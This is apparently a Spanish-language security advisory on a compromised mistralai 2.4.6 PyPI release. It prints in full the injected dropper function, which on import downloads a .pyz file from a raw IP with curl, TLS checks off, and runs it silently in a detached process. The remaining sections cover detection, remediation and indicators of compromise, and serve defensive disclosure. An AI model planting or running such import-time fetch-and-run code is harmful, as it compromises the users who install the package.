Descripción de la vulnerabilidad

El paquete mistralai de PyPI en su versión 2.4.6 contiene un dropper malicioso que se ejecuta automáticamente durante la importación en sistemas Linux. Esta versión no corresponde a ningún tag, commit o flujo de trabajo de release oficial en el repositorio legítimo, siendo la última versión válida la 2.4.5. La carga maliciosa evadió el pipeline normal de releases del repositorio, que utiliza PyPI Trusted Publishing.

El proyecto mistralai en PyPI se encuentra actualmente en cuarentena.

Sistemas afectados

  • mistralai==2.4.6 en PyPI
  • Las versiones 2.4.5 y anteriores no están afectadas

Funcionamiento del código malicioso

Se agregó una función llamada _run_background_task al archivo src/mistralai/client/__init__.py que se ejecuta durante la carga del módulo:

python
import subprocess as _sub
import os as _os

def _run_background_task():
    if not _sys.platform.startswith("linux") or _os.environ.get("MISTRAL_INIT"):
        return
    _os.environ["MISTRAL_INIT"] = "1"
    _url = "https://83.142.209.194/transformers.pyz"
    _dest = "/tmp/transformers.pyz"
    try:
        if not _os.path.exists(_dest):
            _sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
        if _os.path.exists(_dest):
            _sub.Popen(
                [_sys.executable, _dest],
                stdout=_sub.DEVNULL, stderr=_sub.DEVNULL,
                start_new_session=True, env=_os.environ.copy()
            )
    except:
        pass

_run_background_task()

En sistemas Linux únicamente, la función:

  1. Retorna inmediatamente si MISTRAL_INIT ya está configurada en el entorno
  2. Establece MISTRAL_INIT=1 para evitar que procesos hijos re-activen el dropper
  3. Descarga https://83.142.209.194/transformers.pyz a /tmp/transformers.pyz usando curl -k -L -s (verificación TLS deshabilitada, timeout de 15 segundos). Omite la descarga si el archivo ya existe
  4. Ejecuta transformers.pyz con el intérprete Python actual (sys.executable) como proceso independiente mediante Popen(..., start_new_session=True), descartando stdout y stderr y suprimiendo silenciosamente cualquier excepción

En plataformas no-Linux, la función retorna inmediatamente sin realizar acciones.

El disparador es import mistralai, no la instalación del paquete. pip install de un wheel no ejecuta código del paquete; para un sdist ejecuta hooks de construcción PEP 517 pero estos están en setup.py / pyproject.toml, no en __init__.py. Por tanto, pip install, pip download y pip wheel no invocan este dropper.

El contenido de transformers.pyz no está incluido en el paquete y no fue analizado en este aviso. Por tanto, el comportamiento del payload de segunda etapa en el host es desconocido.

Recomendaciones

Cualquier entorno Linux que haya importado mistralai==2.4.6 debe considerarse potencialmente comprometido pendiente de revisión forense. Rote todas las credenciales accesibles desde el proceso que realizó la importación y revise los logs de auditoría del host y la nube para actividad desde aproximadamente 2026-05-12 00:05 UTC en adelante.

Verificación de afectación

Versión instalada:

bash
pip show mistralai | grep -i ^version

Archivos de dependencias y lockfiles:

bash
grep -n -E 'mistralai\b.*2\.4\.6' \
  requirements*.txt pyproject.toml uv.lock poetry.lock Pipfile Pipfile.lock 2>/dev/null

Archivo descargado en disco:

bash
ls -la /tmp/transformers.pyz

La presencia de /tmp/transformers.pyz en un host que importó mistralai==2.4.6 indica que el paso de descarga se ejecutó exitosamente. Combinado con la ausencia de MISTRAL_INIT en el historial del entorno de procesos del host, no confirma por sí mismo que la segunda etapa se ejecutó; inversamente, su ausencia no descarta la ejecución si el archivo fue limpiado.

Remediación

  1. Fije mistralai a la versión 2.4.5 o anterior. Mientras el proyecto PyPI esté en cuarentena, instale desde este repositorio en un tag conocido como válido, por ejemplo git+https://github.com/mistralai/client-python.git@v2.4.5
  2. En hosts Linux afectados, rote todas las credenciales accesibles desde el proceso que realizó la importación y revise los logs de auditoría del host y la nube

Indicadores de compromiso

Todos los IOCs provienen del reporte público en #523:

  • Archivo: /tmp/transformers.pyz
  • Proceso: un intérprete Python (sys.executable) ejecutando /tmp/transformers.pyz independiente del grupo de procesos padre, con stdout/stderr a /dev/null
  • Variable de entorno: MISTRAL_INIT=1
  • HTTPS saliente a 83[.]142[.]209[.]194 desde curl (sin verificación TLS)
  • Función agregada al paquete: _run_background_task en src/mistralai/client/__init__.py
  • SHA-256 del sdist malicioso: 6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b

Referencias

  • Reporte público con el código del dropper: https://github.com/mistralai/client-python/issues/523
  • Proyecto PyPI en cuarentena: https://pypi.org/project/mistralai/